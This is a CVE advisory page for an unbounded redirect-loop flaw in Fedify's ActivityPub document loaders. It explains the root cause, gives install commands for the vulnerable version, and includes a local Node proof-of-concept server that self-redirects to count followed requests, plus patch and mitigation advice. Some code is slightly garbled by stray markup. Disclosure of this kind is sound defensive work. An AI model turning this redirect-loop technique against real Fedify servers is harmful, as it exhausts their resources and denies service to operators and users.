Fedify, Unbounded Redirect Loop, CVE-2026-34148 (High)

Listen to this Post

Fedify’s remote document loader and authenticated document loader recursively follow HTTP 3xx redirects without enforcing a maximum redirect count or visited‑URL loop detection. When processing an incoming ActivityPub request, the framework verifies HTTP signatures by fetching the remote keyId. This triggers the chain handleInboxInternal() -> verifyRequest() -> fetchKeyInternal() -> document loader. In affected versions, the generic loader handles a 3xx response by calling `load()` again on the `Location` header; the authenticated redirect path (doubleKnock()) does the same. Neither path imposes a redirect cap nor tracks already‑visited URLs. An attacker who controls a remote ActivityPub key or actor URL can respond with 302 Location: <same URL>, creating a self‑referential redirect loop. A single inbound request can thus generate tens or hundreds of outbound requests before the fetch times out. Failed key fetches are not durably negatively cached – the null result is stored only in a request‑local cache, so later requests can trigger the same loop again. This leads to resource exhaustion and denial of service. The issue was confirmed in versions 1.9.1 and 1.9.2, while Fedify’s WebFinger lookup already has a redirect cap, indicating the missing bound in the document loader is unintended.

DailyCVE Form

Platform: Fedify
Version: 1.9.1-1.9.2
Vulnerability: Unbounded redirect loop
Severity: High
Date: 2026-04-06

Prediction: Already patched

Analytics

What Undercode Say:

Install vulnerable version
npm install @fedify/[email protected]
Check installed version
npm list @fedify/fedify
Run the Proof-of-Concept script
cat > poc.mjs << 'EOF'
import http from "node:http";
import { getDocumentLoader } from "@fedify/fedify";
const port = 45679;
let count = 0;
const redirectCount = 120;
const server = http.createServer((req, res) => {
count += 1;
if (count < redirectCount) {
res.writeHead(302, { Location: `http://127.0.0.1:${port}/actor` });
res.end();
return;
}
res.writeHead(200, { "Content-Type": "application/activity+json" });
res.end(JSON.stringify({
"@context": "https://www.w3.org/ns/activitystreams",
"id": `http://127.0.0.1:${port}/actor`,
"type": "Person"
}));
});
await new Promise((resolve) => server.listen(port, "127.0.0.1", resolve));
try {
const loader = getDocumentLoader({ allowPrivateAddress: true });
await loader(<code>http://127.0.0.1:${port}/actor`);
console.log({ count });
} finally {
server.close();
}
EOF
node poc.mjs
Expected output: { count: 120 } (119 self-redirects followed)

<h2 style=”color: blue;”>Exploit</h2>
An attacker sets up a malicious ActivityPub actor or key endpoint that always responds with302 Location: `. When a Fedify‑based server attempts to verify an incoming ActivityPub request, it fetches the attacker‑controlled URL and enters an unbounded redirect loop, consuming CPU, connection slots, and outbound bandwidth. The attack can be repeated because failed lookups are not cached durably.

Protection from this CVE

Update to a fixed version:

– `@fedify/[email protected]` (for the 1.9.x line)
– `@fedify/[email protected]`
– `@fedify/[email protected]`
– `@fedify/[email protected]` or later
If upgrading is not immediately possible, consider deploying a reverse proxy that caps the number of allowed redirects for outbound requests, or temporarily disable the processing of remote keys if your use case allows.

Impact

Unlimited outbound requests from a single inbound ActivityPub message lead to severe resource exhaustion (CPU, memory, connection slots, bandwidth). An unauthenticated remote attacker can cause a denial of service, and because failed lookups are not cached durably, the attack can be repeated indefinitely.

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top